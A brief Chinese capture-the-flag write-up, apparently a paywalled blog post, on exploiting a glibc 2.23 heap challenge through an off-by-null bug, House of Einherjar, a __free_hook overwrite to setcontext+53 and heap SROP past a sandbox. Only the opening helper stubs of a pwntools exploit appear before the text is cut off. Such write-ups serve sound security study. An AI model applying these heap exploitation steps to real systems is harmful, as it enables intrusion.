
libc是2.23的。

保护是全开的。
沙箱是有的。

菜单。
set name
80是size
84是标志flag
88申请了0x10的chunk。
前八个字节是puts函数
后八个字节是我们的地址。
edit name
显然是能够输入name。

它用了一个202060来处理输入,但是在处理v5跟j的关系上面会有一个off by null。
puts name
就是输出。
delete name

delete也删除干净了。
所以说白了就是一个2.23的off by null。
然后因为开了沙箱,所以我们就通过off by null,用house of ein攻击free_hook,改成setcontext+53,做一个堆的SROP
exp
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
r = process("./name")
elf = ELF("./name")
libc = ELF("./libc.so.6")
def add(size):
r.sendlineafter("5.exit\n", "1")
r.sendlineafter("name size:", str(size))
def dele(idx):
r.sendlineafter("5.exit\n", "4"

本文介绍如何利用Off-by-One漏洞攻击一个具备全保护机制和沙箱的C程序,通过具体步骤展示了如何使用house of ein技巧改写free_hook,最终实现堆栈上的返回导向编程。
最低0.47元/天 解锁文章
932

被折叠的 条评论
为什么被折叠?



